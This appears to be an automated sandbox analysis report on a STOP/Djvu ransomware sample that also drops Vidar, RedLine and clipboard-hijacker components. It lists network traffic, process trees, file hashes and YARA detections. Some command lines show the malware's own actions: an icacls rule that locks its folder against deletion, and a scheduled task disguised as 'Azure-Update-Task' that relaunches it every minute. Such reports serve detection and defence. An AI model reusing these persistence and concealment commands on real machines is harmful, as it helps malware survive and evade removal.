Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49724	172.67.139.220	443	5144	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:33 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 07:17:34 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 07:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cHCjMalZuDYSO2plTboukjRepOzZvF9mMufrZgYkeWPdJk7%2F2laCAUopNwP2LKmVAwKGEtqKqDoeGUAmnxfIs2fL%2B1ITsU1vr%2Fqqy6NYjxZ4hscGR5XuqVpnq%2FAq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879450760bd369a4-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 07:17:34 UTC	455	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 33 37 62 37 36 37 66 36 33 35 33 32 31 37 61 36 33 33 64 37 65 37 36 32 63 36 30 36 36 37 31 37 39 37 36 37 30 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#137b767f6353217a633d7e762c606671797670
2024-04-24 07:17:34 UTC	475	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 33 62 62 62 36 62 66 61 33 39 33 65 31 62 61 61 33 66 64 61 36 62 32 65 63 61 30 61 36 62 31 62 39 62 36 62 30 61 37 65 65 65 31 62 61 61 33 66 64 61 36 62 32 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#d3bbb6bfa393e1baa3fda6b2eca0a6b1b9b6b0a7eee1baa3fda6b2
2024-04-24 07:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:16:49
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rq0mVjR9ar.exe"
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:16:49
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rq0mVjR9ar.exe"
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:16:51
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x1d0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:16:51
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:16:52
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:16:53
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2113503553.0000000004499000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs Detection: 45%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:16:53
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:17:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2184061996.0000000001D7E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:17:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:17:04
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.2241288054.000000000448C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:17:05
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.2322981212.000000000083D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:17:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:17:14
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:17:15
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x9a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:17:15
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:17:17
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.2423775240.000000000097D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 87%, ReversingLabs Detection: 87%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:17:25
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:17:25
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x9a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:17:25
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:17:31
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000018.00000002.2489371606.0000000004484000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:17:31
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Imagebase:	0x400000
File size:	798'208 bytes
MD5 hash:	B35348F4654893767A081B076F7BECDF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:18:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001A.00000002.2837732300.00000000009C1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:18:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:19:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.3477780994.00000000009F1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:19:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:20:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.4098002454.0000000000A01000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:20:12
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
